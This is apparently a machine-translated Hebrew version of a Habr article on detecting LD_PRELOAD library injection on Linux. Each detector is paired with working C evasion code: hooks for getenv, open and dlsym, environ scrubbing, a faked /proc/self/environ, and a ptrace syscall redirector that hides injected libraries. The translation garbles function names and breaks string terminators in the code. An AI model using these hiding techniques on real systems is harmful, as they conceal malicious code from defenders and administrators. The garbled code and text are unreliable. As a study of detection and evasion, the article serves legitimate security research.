הפתק הזה נכתב ב-2014, אבל בדיוק עברתי דיכוי על האברה והוא לא ראה אור. בזמן האיסור שכחתי מזה, אבל עכשיו מצאתי את זה בטיוטות. חשבתי למחוק אותו, אבל אולי זה יועיל למישהו.

באופן כללי, קריאה קטנה של מנהל יום שישי בנושא חיפוש "כלול" LD_PRELOAD.
1. סטייה קצרה למי שאינו בקיא בהחלפת פונקציות
השאר יכולים ללכת ישר p.2.
נתחיל עם דוגמה קלאסית:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main()
{
srand (time(NULL));
for(int i=0; i<5; i++){
printf ("%dn", rand()%100);
}
}
אנו מהדרים ללא דגלים:
$ gcc ./ld_rand.c -o ld_rand
וכצפוי, נקבל 5 מספרים אקראיים פחות מ-100:
$ ./ld_rand
53
93
48
57
20
אבל בואו נדמיין שאין לנו את קוד המקור של התוכנית, אבל אנחנו צריכים לשנות את ההתנהגות.
בואו ניצור ספרייה משלנו עם אב טיפוס פונקציה משלנו, למשל:
int rand(){
return 42;
}
$ gcc -shared -fPIC ./o_rand.c -o ld_rand.so
ועכשיו הבחירה האקראית שלנו די צפויה:
# LD_PRELOAD=$PWD/ld_rand.so ./ld_rand
42
42
42
42
42
הטריק הזה נראה אפילו יותר מרשים אם אנו מייצאים לראשונה את הספרייה שלנו באמצעות
$ export LD_PRELOAD=$PWD/ld_rand.so
או שנעשה את זה קודם
# echo "$PWD/ld_rand.so" > /etc/ld.so.preload
ולאחר מכן הפעל את התוכנית כרגיל. לא שינינו שורת קוד אחת בתוכנה עצמה, אבל ההתנהגות שלה תלויה כעת בפונקציה זעירה בספרייה שלנו. יתרה מכך, בזמן כתיבת התוכנית, ה שורה אפילו לא היה קיים.
מה גרם לתוכנית שלנו להשתמש בזיוף שורה? בואו ניקח את זה צעד אחר צעד.
כאשר יישום מופעל, נטענות ספריות מסוימות המכילות את הפונקציות הדרושות לתוכנית. אנחנו יכולים לראות אותם באמצעות Ldd:
# ldd ./ld_rand
linux-vdso.so.1 (0x00007ffc8b1f3000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe3da8af000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe3daa7e000)
רשימה זו עשויה להשתנות בהתאם לגרסת מערכת ההפעלה, אך חייב להיות שם קובץ libc.so. ספריה זו היא שמספקת קריאות מערכת ופונקציות בסיסיות כגון לפתוח, malloc, הדפס וכו' שלנו שורה גם ביניהם. בואו נוודא את זה:
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " rand$"
000000000003aef0 T rand
בואו נראה אם סט הספריות משתנה בעת השימוש LD_PRELOAD
# LD_PRELOAD=$PWD/ld_rand.so ldd ./ld_rand
linux-vdso.so.1 (0x00007ffea52ae000)
/scripts/c/ldpreload/ld_rand.so (0x00007f690d3f9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f690d230000)
/lib64/ld-linux-x86-64.so.2 (0x00007f690d405000)
מסתבר שהמשתנה מוגדר LD_PRELOAD מאלץ אותנו לטעון ld_rand.so גם למרות העובדה שהתוכנית עצמה אינה דורשת זאת. ומאז התפקיד שלנו "ראנד" עומס מוקדם יותר מ שורה מ libc.so, ואז היא שולטת במקום.
אוקיי, הצלחנו להחליף את הפונקציה המקורית, אבל איך נוכל לוודא שהפונקציונליות שלה נשמרת ומספר פעולות יתווספו. בואו נשנה את האקראי שלנו:
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
typedef int (*orig_rand_f_type)(void);
int rand()
{
/* Выполняем некий код */
printf("Evil injected coden");
orig_rand_f_type orig_rand;
orig_rand = (orig_rand_f_type)dlsym(RTLD_NEXT,"rand");
return orig_rand();
}
כאן, כ"תוספת" שלנו, אנו מדפיסים רק שורת טקסט אחת, ולאחריה אנו יוצרים מצביע לפונקציה המקורית שורה. כדי לקבל את הכתובת של הפונקציה הזו אנחנו צריכים dlsym הוא פונקציה מהספרייה libdlאשר ימצא שלנו שורה בערימה של ספריות דינמיות. לאחר מכן נקרא לפונקציה הזו ונחזיר את ערכה. בהתאם, נצטרך להוסיף "-ldl" במהלך ההרכבה:
$ gcc -ldl -shared -fPIC ./o_rand_evil.c -o ld_rand_evil.so
$ LD_PRELOAD=$PWD/ld_rand_evil.so ./ld_rand
Evil injected code
66
Evil injected code
28
Evil injected code
93
Evil injected code
93
Evil injected code
95
והתוכנית שלנו משתמשת ב"מקורי" שורה, לאחר שביצע בעבר כמה פעולות מגונות.
2. כאב החיפוש
בידיעה על איום פוטנציאלי, אנחנו רוצים לזהות את זה preload זה בוצע. ברור שהדרך הכי טובה לזהות היא לדחוף אותו לקרנל, אבל התעניינתי באפשרויות הזיהוי במרחב המשתמש.
לאחר מכן, פתרונות זיהוי והפרכתם יגיעו בזוגות.
2.1. בואו נתחיל פשוט
כפי שהוזכר קודם לכן, אתה יכול לציין את הספרייה לטעינה באמצעות המשתנה LD_PRELOAD או על ידי כתיבתו בקובץ /etc/ld.so.preload. בואו ניצור שני גלאים פשוטים.
הראשון הוא לבדוק את משתנה הסביבה המוגדר:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int main()
{
char* pGetenv = getenv("LD_PRELOAD");
pGetenv != NULL ?
printf("LD_PRELOAD (getenv) [+]n"):
printf("LD_PRELOAD (getenv) [-]n");
}
השני הוא לבדוק אם הקובץ נפתח:
#include <stdio.h>
#include <fcntl.h>
int main()
{
open("/etc/ld.so.preload", O_RDONLY) != -1 ?
printf("LD_PRELOAD (open) [+]n"):
printf("LD_PRELOAD (open) [-]n");
}
בואו נטען את הספריות:
$ export LD_PRELOAD=$PWD/ld_rand.so
$ echo "$PWD/ld_rand.so" > /etc/ld.so.preload
$ ./detect_base_getenv
LD_PRELOAD (getenv) [+]
$ ./detect_base_open
LD_PRELOAD (open) [+]
כאן ומטה, [+] מציין זיהוי מוצלח.
בהתאם, [-] פירושו עקיפת זיהוי.
כמה יעיל גלאי כזה? בואו נסתכל תחילה על משתנה הסביבה:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
char* (*orig_getenv)(const char *) = NULL;
char* getenv(const char *name)
{
if(!orig_getenv) orig_getenv = dlsym(RTLD_NEXT, "getenv");
if(strcmp(name, "LD_PRELOAD") == 0) return NULL;
return orig_getenv(name);
}
$ gcc -shared -fpic -ldl ./ld_undetect_getenv.c -o ./ld_undetect_getenv.so
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_base_getenv
LD_PRELOAD (getenv) [-]
באופן דומה, אנו נפטרים מהצ'ק לפתוח:
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <errno.h>
int (*orig_open)(const char*, int oflag) = NULL;
int open(const char *path, int oflag, ...)
{
char real_path[256];
if(!orig_open) orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0){
errno = ENOENT;
return -1;
}
return orig_open(path, oflag);
}
$ gcc -shared -fpic -ldl ./ld_undetect_open.c -o ./ld_undetect_open.so
$ LD_PRELOAD=./ld_undetect_open.so ./detect_base_open
LD_PRELOAD (open) [-]
כן, ניתן להשתמש כאן בדרכים אחרות לגשת לקובץ, כגון, 64, stat וכו', אבל, למעשה, יש צורך באותן 5-10 שורות קוד כדי להונות אותן.
2.2. בוא נמשיך הלאה
למעלה השתמשנו getenv() כדי לקבל את הערך LD_PRELOAD, אבל יש גם דרך יותר "ברמה נמוכה" להגיע אליה ENV-משתנים. לא נשתמש בפונקציות ביניים, אלא נתייחס למערך **סביבה, המאחסן עותק של הסביבה:
#include <stdio.h>
#include <string.h>
extern char **environ;
int main(int argc, char **argv) {
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++)
{
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL)
{
printf("LD_PRELOAD (**environ) [+]n");
return 0;
}
}
printf("LD_PRELOAD (**environ) [-]n");
return 0;
}
מכיוון שכאן אנו קוראים נתונים ישירות מהזיכרון, לא ניתן ליירט שיחה כזו, ואנחנו undetect_getenv זה כבר לא מפריע לזהות את החדירה.
$ LD_PRELOAD=./ld_undetect_getenv.so ./detect_environ
LD_PRELOAD (**environ) [+]
נראה שהבעיה הזו נפתרה? זה עדיין רק מתחיל.
לאחר הפעלת התוכנית, הערך של המשתנה LD_PRELOAD האקרים כבר לא צריכים אותו בזיכרון, כלומר, הם יכולים לקרוא אותו ולמחוק אותו לפני ביצוע הוראות כלשהן. כמובן, עריכת מערך בזיכרון היא, לכל הפחות, סגנון תכנות גרוע, אבל האם זה יכול לעצור מישהו שלא באמת מאחל לנו טוב בכל מקרה?
לשם כך עלינו ליצור פונקציה מזויפת משלנו init (), שבו אנו מיירטים את המותקן LD_PRELOAD ומעבירים אותו למקשר שלנו:
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdlib.h>
extern char **environ;
char *evil_env;
int (*orig_execve)(const char *path, char *const argv[], char *const envp[]) = NULL;
// Создаём фейковую версию init
// которая будет вызвана при загрузке программы
// до выполнения каких-либо инструкций
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
unsetenv(env);
break;
}
}
}
int execve(const char *path, char *const argv[], char *const envp[])
{
int i = 0, j = 0, k = -1, ret = 0;
char** new_env;
if(!orig_execve) orig_execve = dlsym(RTLD_NEXT,"execve");
// Проверям не существует ли других установленных LD_PRELOAD
for(i = 0; envp[i]; i++){
if(strstr(envp[i], "LD_PRELOAD")) k = i;
}
// Если LD_PRELOAD не было установлено до нас, то добавим его
if(k == -1){
k = i;
i++;
}
// Создаём новое окружение
new_env = (char**) malloc((i+1)*sizeof(char*));
// Копируем старое окружение, за исключением LD_PRELOAD
for(j = 0; j < i; j++) {
// перезаписываем или создаём LD_PRELOAD
if(j == k) {
new_env[j] = (char*) malloc(256);
strcpy(new_env[j], "LD_PRELOAD=");
strcat(new_env[j], evil_env);
}
else new_env[j] = (char*) envp[j];
}
new_env[i] = NULL;
ret = orig_execve(path, argv, new_env);
free(new_env[k]);
free(new_env);
return ret;
}
אנו מבצעים ובודקים:
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ.c -o ./ld_undetect_environ.so
$ LD_PRELOAD=./ld_undetect_environ.so ./detect_environ
LD_PRELOAD (**environ) [-]
2.3. /proc/self/
עם זאת, הזיכרון הוא לא המקום האחרון שבו אתה יכול למצוא תחליף LD_PRELOAD, יש גם /proc/. נתחיל עם המובן מאליו /proc/{PID}/environ.
למעשה, יש פתרון אוניברסלי עבור לא לזהות **סביבה и /proc/self/environ. הבעיה היא התנהגות "שגויה". unsetenv(env).
אפשרות נכונה
void evil_init()
{
// Сначала сохраним текущее значение LD_PRELOAD
static const char *ldpreload = "LD_PRELOAD";
int len = strlen(getenv(ldpreload));
evil_env = (char*) malloc(len+1);
strcpy(evil_env, getenv(ldpreload));
int i;
char env[] = "LD_PRELOAD";
if (environ != NULL)
for (i = 0; environ[i] != NULL; i++) {
char * pch;
pch = strstr(environ[i],env);
if(pch != NULL) {
// Избавляемся от текущего LD_PRELOAD
//unsetenv(env);
// Вместо unset просто обнулим нашу переменную
for(int j = 0; environ[i][j] != ' '; j++) environ[i][j] = ' ';
break;
}
}
}
$ gcc -shared -fpic -ldl -Wl,-init,evil_init ./ld_undetect_environ_2.c -o ./ld_undetect_environ_2.so
$ (LD_PRELOAD=./ld_undetect_environ_2.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
אבל בואו נדמיין שלא מצאנו את זה ו /proc/self/environ מכיל נתונים "בעייתיים".
ראשית בואו ננסה עם ה"תחפושת" הקודמת שלנו:
$ (LD_PRELOAD=./ld_undetect_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
LD_PRELOAD=./ld_undetect_environ.so
חתול משתמש באותו כדי לפתוח את הקובץ לִפְתוֹחַ(), אז הפתרון דומה למה שכבר נעשה בסעיף 2.1, אבל כעת אנו יוצרים קובץ זמני שבו אנו מעתיקים את ערכי הזיכרון האמיתי ללא שורות המכילות LD_PRELOAD.
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>
#include <errno.h>
#define BUFFER_SIZE 256
int (*orig_open)(const char*, int oflag) = NULL;
char *soname = "fakememory_preload.so";
char *sstrstr(char *str, const char *sub)
{
int i, found;
char *ptr;
found = 0;
for(ptr = str; *ptr != ' '; ptr++) {
found = 1;
for(i = 0; found == 1 && sub[i] != ' '; i++){
if(sub[i] != ptr[i]) found = 0;
}
if(found == 1)
break;
}
if(found == 0)
return NULL;
return ptr + i;
}
void fakeMaps(char *original_path, char *fake_path, char *pattern)
{
int fd;
char buffer[BUFFER_SIZE];
int bytes = -1;
int wbytes = -1;
int k = 0;
pid_t pid = getpid();
int fh;
if ((fh=orig_open(fake_path,O_CREAT|O_WRONLY))==-1) {
printf("LD: Cannot open write-file [%s] (%d) (%s)n", fake_path, errno, strerror(errno));
exit (42);
}
if((fd=orig_open(original_path, O_RDONLY))==-1) {
printf("LD: Cannot open read-file.n");
exit(42);
}
do
{
char t = 0;
bytes = read(fd, &t, 1);
buffer[k++] = t;
//printf("%c", t);
if(t == ' ') {
//printf("n");
if(!sstrstr(buffer, "LD_PRELOAD")) {
if((wbytes = write(fh,buffer,k))==-1) {
//printf("write errorn");
}
else {
//printf("writed %dn", wbytes);
}
}
k = 0;
}
}
while(bytes != 0);
close(fd);
close(fh);
}
int open(const char *path, int oflag, ...)
{
char real_path[PATH_MAX], proc_path[PATH_MAX], proc_path_0[PATH_MAX];
pid_t pid = getpid();
if(!orig_open)
orig_open = dlsym(RTLD_NEXT, "open");
realpath(path, real_path);
snprintf(proc_path, PATH_MAX, "/proc/%d/environ", pid);
if(strcmp(real_path, proc_path) == 0) {
snprintf(proc_path, PATH_MAX, "/tmp/%d.fakemaps", pid);
realpath(proc_path_0, proc_path);
fakeMaps(real_path, proc_path, soname);
return orig_open(proc_path, oflag);
}
return orig_open(path, oflag);
}
והשלב הזה עבר:
$ (LD_PRELOAD=./ld_undetect_proc_environ.so cat /proc/self/environ; echo) | tr " 00" "n" | grep -F LD_PRELOAD
$
המקום הברור הבא הוא /proc/self/maps. אין טעם להתעכב על זה. הפתרון זהה לחלוטין לקודם: העתק את הנתונים מהקובץ מינוס השורות ביניהם libc.so и ld.so.
2.4. אפשרות מ- Chokepoint
אהבתי במיוחד את הפתרון הזה בגלל הפשטות שלו. אנו משווים את הכתובות של פונקציות שנטענו ישירות מ libc, וכתובות "הבא".
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int main(int argc, char *argv[]) {
void *libc = dlopen(LIBC, RTLD_LAZY); // Open up libc directly
char *syscall_open = "open";
int i;
void *(*libc_func)();
void *(*next_func)();
libc_func = dlsym(libc, syscall_open);
next_func = dlsym(RTLD_NEXT, syscall_open);
if (libc_func != next_func) {
printf("LD_PRELOAD (syscall - %s) [+]n", syscall_open);
printf("Libc address: %pn", libc_func);
printf("Next address: %pn", next_func);
}
else {
printf("LD_PRELOAD (syscall - %s) [-]n", syscall_open);
}
return 0;
}
טוען את הספרייה עם יירוט "לִפְתוֹחַ()" ולבדוק:
$ export LD_PRELOAD=$PWD/ld_undetect_open.so
$ ./detect_chokepoint
LD_PRELOAD (syscall - open) [+]
Libc address: 0x7fa86893b160
Next address: 0x7fa868a26135
ההפרכה התבררה כפשוטה עוד יותר:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
extern void * _dl_sym (void *, const char *, void *);
void * dlsym (void * handle, const char * symbol)
{
return _dl_sym (handle, symbol, dlsym);
}
# LD_PRELOAD=./ld_undetect_chokepoint.so ./detect_chokepoint
LD_PRELOAD (syscall - open) [-]
2.5. Syscalls
נראה שזה הכל, אבל אנחנו עדיין נסחט. אם ננתב את קריאת המערכת ישירות לקרנל, זה יעקוף את כל תהליך היירוט. הפתרון שלהלן הוא, כמובן, תלוי אדריכלות (x86_64). בואו ננסה ליישם את זה כדי לזהות פתח ld.so.load מראש.
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#define BUFFER_SIZE 256
int syscall_open(char *path, long oflag)
{
int fd = -1;
__asm__ (
"mov $2, %%rax;" // Open syscall number
"mov %1, %%rdi;" // Address of our string
"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
ולבעיה הזו יש פתרון. קטע מתוך איש'א:
ptrace הוא כלי המאפשר לתהליך אב לצפות ולשלוט בהתקדמות של תהליך אחר, להציג ולשנות את הנתונים והרישומים שלו. בדרך כלל פונקציה זו משמשת ליצירת נקודות שבירה בתוכנית איתור באגים ולניטור קריאות מערכת.
תהליך האב יכול להתחיל במעקב על ידי קריאה תחילה fork(2), ולאחר מכן תהליך הילד שנוצר יכול לבצע PTRACE_TRACEME, ואחריו (בדרך כלל) ביצוע exec(3). מצד שני, תהליך אב יכול להתחיל באגים בתהליך קיים באמצעות PTRACE_ATTACH.
המעקב עוצר את תהליך הילד בכל פעם שהוא מקבל אות, גם אם מתעלמים מהאות. (היוצא מן הכלל הוא SIGKILL, שפועל כרגיל.) תהליך האב יקבל הודעה על כך על ידי קריאת wait(2), ולאחר מכן הוא יוכל להציג ולשנות את התוכן של תהליך הילד לפני שהוא מתחיל. תהליך ההורה מאפשר לילד להמשיך לרוץ, במקרים מסוימים להתעלם מהאות שנשלח אליו או לשלוח אות אחר במקום זאת).
לפיכך, הפתרון הוא לפקח על התהליך, לעצור אותו לפני כל קריאת מערכת ובמידת הצורך להפנות את החוט לפונקציית Hook.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// Форкаем дочерний процесс
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// Подключаемся к дочернему процессу
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// Отслеживаем только SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// Получаем номер системного вызова
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// Читаем слово из памяти дочернего процесса
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// Перехватываем вызов
if(!NOHOOK) {
// Копируем регистры дочернего процесса
// в переменную regs родительского
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// Копируем слово в память дочернего процесса
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// Устанавливаем RIP по адресу evil_open
regs.REG_IP = (unsigned long) evil_open;
// Записываем состояние регистров процесса
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
אנו בודקים:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
תודה רבה לך
, שהמאמרים, המקורות וההערות שלו עשו הרבה יותר ממני כדי שהערה זו תופיע כאן.
מקור: www.habr.com
